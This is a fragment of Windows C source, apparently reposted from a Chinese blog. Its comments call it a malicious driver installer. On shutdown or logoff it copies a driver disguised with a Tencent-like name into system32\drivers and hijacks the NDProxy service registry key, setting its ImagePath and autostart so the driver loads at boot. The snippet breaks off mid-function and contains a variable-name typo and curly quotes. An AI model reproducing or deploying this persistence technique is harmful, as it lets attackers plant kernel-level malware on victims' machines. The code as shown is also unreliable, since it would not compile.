#include /*恶意驱动路径*/ #define MAL_DRIVER_FILE_PATH “C:\\QQ\\GRD_Tercent.sys” /*目标路径,将恶意驱动复制到系统驱动文件夹下*/ #define SYS_DRIVER_FILE_PATH “C:\\Windows\\system32\\drivers\\GRD_Tercent.sys” /*在注册表Services键下的一个子键*/ #define SUB_KEY_PATH “SYSTEM\\CurrentControlSet\\Services\\NDProxy” /*NDProxy中ImagePath的值*/ #define IMAGE_PATH_VALUE “system32\\drivers\\GRD_Tercent.sys” BOOL g_bExit = FALSE; BOOL CtrlHandler(DWORD fdwCtrlType ) { /*当系统关闭的时候会调用该函数,并传入fdwCtrlType说明调用的原因*/ if(fdwCtrlType == CTRL_CLOSE_EVENT|| fdwCtrlType == CTRL_LOGOFF_EVENT || fdwCtrlType == CTRL_SHUTDOWN_EVENT) { /*将驱动文件复制到系统目录下*/ BOOL bRet = CopyFile(MAL_DRIVER_FILE_PATH,SYS_DRIVER_FILE_PATH,FALSE); if(FALSE == bRet) { g_bExit = TRUE; return 1; } /*打开注册表键*/ HKEY hKey = NULL; LONG lRet = ERROR_SUCCESS; lRet = RegOpenKey(HKEY_LOCAL_MACHINE,SUB_KEY_PATH,&hKey); if (ERROR_SUCCESS != lRet) { g_bExit = TRUE; return 1; } DWORD dwData = 0; /*将NDProxy下的ImagePath设置为驱动的路径*/ lRet = RegSetValueEx(hKey,”ImagePath”,0,REG_SZ,IMAGE_PATH_VALUE,strlen(IMAGE_PATH_VALUE)); if (ERROR_SUCCESS != lRet) { RegCloseKey(hKey); g_bExit = TRUE; return 1; } DWORD dwStart = 1; /*将NDProxy设置为1表示自启动*/ lRet = RegSetValueEx(hKey,”Start”,0,REG_DWORD,(const BYTE*)&dwStar,sizeof(dwStart)); if (ERROR_SUCCESS != lRet) { RegCloseKey(hKey); g_bExit = TRUE; return 1; } RegCloseKey(hKey); /*结束进程*/
|
转载于:https://blog.51cto.com/hellxman/663750